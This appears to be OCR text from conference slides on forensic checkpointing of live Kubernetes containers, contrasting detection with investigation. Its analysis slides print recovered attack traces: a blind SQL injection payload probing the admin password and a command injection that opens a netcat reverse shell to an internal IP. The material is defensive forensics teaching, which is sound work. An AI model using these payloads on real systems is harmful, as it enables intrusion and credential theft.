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Invisible Attacks in Containers

How attackers stay stealthy in Kubernetes?
e Masquerade as legitimate workloads!" 2
e |everage native tools & APIs (kubectl, bash, python)!" 2!
e Maintain persistence (e.g., DaemonSets, Crondobs)!"?!
e Exploit unpatched APIs/runtimes without disruption [3. 4]

e Steal credentials silently!*]

[1]MITRE ATT&CK - Containers Matrix

[ 2] Microsoft's Threat Matrix for Kubernetes
[3]Kubernetes CVE Feed
[4]https://github.com/cdk-team/CDK


https://attack.mitre.org/matrices/enterprise/containers/
https://microsoft.github.io/Threat-Matrix-for-Kubernetes
https://kubernetes.io/docs/reference/issues-security/official-cve-feed/
https://github.com/cdk-team/CDK

Traditional Forensics in Kubernetes

Challenges with Classic Forensic Assumptions

e Assume static hosts and persistent storage

e Require node-level access and workload disruption

e Focusondisk artefacts, missing memory and runtime state
e Fail with ephemeral containers and rescheduled Pods

e \Weak evidence attribution and chain of custody in clusters

Schmid et al. Limits to the Forensic Analysis of Container Applications in Cloud Environments. (2025)
Gharaibeh et al. Don't, Stop, Drop, Pause: Forensics of CONtainer CheckPOINTs (ConPoint). (2024)


https://doi.org/10.1145/3765629
https://dl.acm.org/doi/abs/10.1145/3664476.3670895

Modern Container Attacks

Cloud-Native, Runtime-Focused Threats!"?]
e In-memory malware (no disk artifacts)
e Living-off-the-land binaries in containers(bash, wget, python)

e Exploiting container runtime & kernel interfaces
o e.qg., privilege escalation from Pod to node (CVE-2019-5736, CVE-2022-0847)

Kubernetes Attack Surface!®!
e APIl-based attacks: RBAC misconfigurations, token reuse, APl scraping
e [ateral movement via compromised service accounts
e Sidecarinjection and workload mutation at runtime

[1] Cloud Native Security Whitepaper
[2] Microsoft's Threat Matrix for Kubernetes
[3]Microsoft Threat Intelligence, Understanding the Threat Landscape for Kubernetes and Containerized Assets


https://www.cncf.io/reports/cloud-native-security-whitepaper/
https://microsoft.github.io/Threat-Matrix-for-Kubernetes
https://www.microsoft.com/en-us/security/blog/2025/04/23/understanding-the-threat-landscape-for-kubernetes-and-containerized-assets/

Detection vs Investigation

‘Detection without investigation leads to ineffective remediation”

Detection = Awareness - PR Investigation = Understand
“Did something bad happen?” =" IS ‘What happened, how, why, and by whom?”

Goals: @ Identifysuspicious activities e Reconstruct the incident
e Triggeraresponse e Understand attacker actions
— Real-time e [etermine impacts

— Retrospective

Collected e Indicators/alerts e F[Evidence/ Artifacts/ State snapshots
Data: — Event-based — State-based
— Signal-driven — Evidence-driven
— Ephemeral data — Durable artifacts
Sources: ® RuntimeAlerts e (ontainer forensics
e Kubernetes Events e Auditlog correlation

e C(loud Audit Logs e Checkpoints(file system & memory)




What is a Forensic Container Snapshot?

From Alerts to Digital Evidence

R




Forensic Readiness

A proactive approach ensuring systems and networks are prepared to efficiently
collect, preserve, and analyze evidence when a security incident occurs!'"

_________________________________________________________________________________________________________________

Jason Sachowski, Implementing Digital Forensic Readiness: From Reactive to Proactive Process. (2016)


https://doi.org/10.1016/C2015-0-00701-8

Threat Modeling

________________________________________

Control Plane

Control Plane

kube-scheduler kube scheduler

kubele

(a) Malicious Qutsider (b) Uninformed Insider (c) Malicious Insider

Cloud Native Security Whitepaper (2022)


https://www.cncf.io/reports/cloud-native-security-whitepaper/

% Shapshot Acquisition

Running Container

© Transparent Checkpointing Snapshot Analysis
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Forensic Snapshot Chain-of-Custody

CJunmodified [lsoft-dirty [Isaved

_________________________________________________________

:Container ECRIU ! ]
E /proc/<PID>/clear_ refs =E i E ChQCprIntS
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|, . | |Pagemap| | Tracking | |: e (ContainerIDs
| 3123 | :
: % 4[5 Lo S : : e Pod UIDs
| Q507 + 1+ | Checkpointed Memory
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[PID: 1] Open Sockets

Protocol: TCP

Type: TCP

State: LISTEN
Source: 0.0.0.0
Source Port: 8000
Destination: 0.0.0.0
Send Buf: 16.0 KB
Recv Buf: 128.0 KB

Checkpoint A (time t)

Analysis of SQL Injection Attack

[PID: 1] Open Sockets
Protocol: TCP

Process Tree

Type: TCP

State: LISTEN
Source: 0.0.0.0
Source Port: 8000
Destination: 0.0.0.0
Send Buf: 16.0 KB
Recv Buf: 128.0 KB

PID: 1
PPID: O
PGID: 1
SID: 1

Threads: 1,

Protocol: TCP

Type: TCP

State: ESTABLISHED
Source: 127.0.0.1
Source Port: 8000
Destination: 127.0.0.1
Send Buf: 2.5 MB
Recv Buf: 128.0 KB

Memory Pages

odfla0 |....2 AND SUBSTR|
6df1b0 | ((SELECT passwor|
0dflcO |d FROM users WHE |
6df1d0 | RE name='admin') |
odfle0 | ,1,1)="7"....... |

>—p | Input Queue: empty

TCP Stream

Output Queue: empty

Checkpoint B (time t + 4 sec)
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Analysis of Command Injection Attack

Time Checkpointed Process Tree

T [1]python [3]bash -c nslookup www.google.com;nc 10.15.0.14 4242 -e /bin/sh
[%] nslookup www.google.com

T+2 [[[11python Pi31bash —c nslookup www.google.com;jnc 10.15.0.14 4242 -e /bin/sh
[%] /bin/sh

T+4 |[(11python Pli31bash —c nslookup www.google.com;nc 10.15.0.14 4242 —e /bin/sh

[5]/bin/sh EX[6]1ls -R -A /

12



Analysis of Command Injection Attack

"KUBERNETES_PORT_443 TCP_PORT": "443",
"KUBERNETES_PORT_443_TCP_PROTO": "tcp",
"KUBERNETES_SERVICE _HOST": "10.96.0.1",
"KUBERNETES_SERVICE_PORT": "443",
"KUBERNETES_SERVICE_PORT_HTTPS": "443",
"PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
n PWD“ : ll/" y
"SHLVL": "1"’
"TERM": "xterm"
Y,
"children": [
{
up_-Ldu: 6,
"command": "[B",
"emdline": "ls -R -A / ",
"environment_variables":
"HOME": "/root",
"HOSTNAME": "dsvw-5f5d648cf-fsgqs”,
"KUBERNETES_PORT": "tcp://QR.96.0.1:443",
"KUBERNETES_PORT_443 TCP": % i e1:443",
"KUBERNETES_PORT 443_TCP_ADDR": g.0.1",
"KUBERNETES_PORT 443 TCP_PORT": "443",
"KUBERNETES_PORT 443_TCP_PROTO": "tcp",
"KUBERNETES_SERVICE_HOST": "10.96.0.1",
"KUBERNETES_SERVICE_PORT": "443",
"KUBERNETES_SERVICE_PORT_HTTPS": "443",
"PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",

1s



https://youtu.be/S1JbozMKhZo
https://youtu.be/S1JbozMKhZo
https://youtu.be/S1JbozMKhZo

Key [akeaways

e [Detection #Investigation
o Security alerts detect incidents;
o Forensic investigations explain what happened, how, and why

e T[raditional forensic technigues do not fit Kubernetes
o Kubernetes = Ephemeral containers + dynamic state-reconciliation
o Modern malware is memory-resident (fileless)

e Forensic snapshots preserve runtime evidence
o Snapshots are taken without stopping workloads or alerting attackers
o Capture memory, processes, and network state from live containers

14
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Summary & Questions?

e Kubernetes attacks live in runtime state

github.com/checkpoint-restore/checkpointctl Alerts alone are not evidence

criu.org/Kubernetes e Snapshots preserve what would otherwise be lost

‘ Red Hat


https://github.com/checkpoint-restore/checkpointctl
https://criu.org/Kubernetes

